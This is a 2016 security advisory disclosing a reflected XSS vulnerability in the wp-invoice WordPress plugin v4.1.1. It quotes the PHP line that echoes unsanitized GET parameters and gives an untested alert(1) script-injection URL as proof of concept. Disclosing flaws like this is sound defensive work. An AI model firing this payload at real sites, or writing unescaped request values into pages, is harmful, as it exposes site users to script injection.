Advisory #: 508
Title: Reflected XSS in wordpress plugin wp-invoice v4.1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-invoice
Downloads: 169227
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-invoice
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-invoice/static/views/client-dashboard.php: 50:<header class="pageheader" ng-init="init({wpi_user_id:'<?php echo $_GET['wpi_user_id'] ?>',wpi_token:'<?php echo $_GET['wpi_token'] ?>'})"> The variable wpi_user_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-invoice/static/views/client-dashboard.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-invoice/static/views/client-dashboard.php?wpi_user_id="><script>alert(1);</script><"